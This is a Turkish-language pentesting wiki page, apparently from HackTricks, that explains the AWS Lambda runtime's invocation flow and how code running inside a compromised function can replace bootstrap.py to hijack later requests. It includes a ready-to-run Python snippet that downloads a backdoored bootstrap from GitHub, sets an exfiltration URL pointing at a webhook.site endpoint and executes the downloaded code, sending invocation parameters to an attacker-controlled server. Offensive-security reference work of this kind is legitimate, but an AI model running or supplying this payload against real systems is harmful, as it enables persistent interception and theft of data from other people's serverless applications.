4.4 KiB
AWS - Lambda İsteklerini Çal
{{#include ../../../../banners/hacktricks-training.md}}
Lambda Akışı

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer, invocation'ları init sürecine gönderen konteyner dışındaki bir süreçtir.
- Init süreci, bazı ilginç uç noktaları açığa çıkaran 9001 portunu dinler:
/2018-06-01/runtime/invocation/next– bir sonraki invocation olayını al/2018-06-01/runtime/invocation/{invoke-id}/response– invoke için handler yanıtını döndür/2018-06-01/runtime/invocation/{invoke-id}/error– bir yürütme hatası döndür
- bootstrap.py, init sürecinden invocation'ları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (
/next). - Son olarak, bootstrap.py init'e yanıtı gönderir.
Bootstrap'ın kullanıcı kodunu bir modül olarak yüklediğini unutmayın, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütmesi aslında bu süreçte gerçekleşmektedir.
Lambda İsteklerini Çalmak
Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen bootstrap.py süreci içinde kötü niyetli bir bootstrap.py süreci çalıştırmasını sağlamaktır. Bu şekilde, kötü niyetli bootstrap süreci, istekleri işlemek için init süreciyle iletişim kurmaya başlayacakken, meşru bootstrap, kötü niyetli olanı çalıştırarak tuzağa düşürülmüş olacaktır, böylece init sürecine istek sormayacaktır.
Bu, kullanıcı kodunun meşru bootstrap.py süreci tarafından yürütüldüğü için basit bir görevdir. Böylece saldırgan:
- Mevcut invocation'ın sahte bir sonucunu init sürecine gönderebilir, böylece init, bootstrap sürecinin daha fazla invocation beklediğini düşünebilir.
/${invoke-id}/responseadresine bir istek gönderilmelidir.- Invoke-id, meşru
bootstrap.pysürecinin yığınından inspect python modülünü kullanarak elde edilebilir (burada önerildiği gibi) veya sadece tekrar/2018-06-01/runtime/invocation/nextadresine istekte bulunarak elde edilebilir (burada önerildiği gibi). - Bir sonraki invocation'ları yönetecek kötü niyetli bir
boostrap.pyçalıştırın. - Gizlilik amacıyla, lambda invocation parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür.
- Bu saldırı için,
bootstrap.py'nin orijinal kodunu sistemden veya github üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda invocation'ından çalıştırmak yeterlidir.
Saldırı Adımları
- Bir RCE açığı bulun.
- Kötü niyetli bir bootstrap oluşturun (örneğin, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py).
- Kötü niyetli bootstrap'ı çalıştırın.
Bu eylemleri kolayca gerçekleştirebilirsiniz:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Daha fazla bilgi için kontrol edin https://github.com/carlospolop/lambda_bootstrap_switcher
Referanslar
{{#include ../../../../banners/hacktricks-training.md}}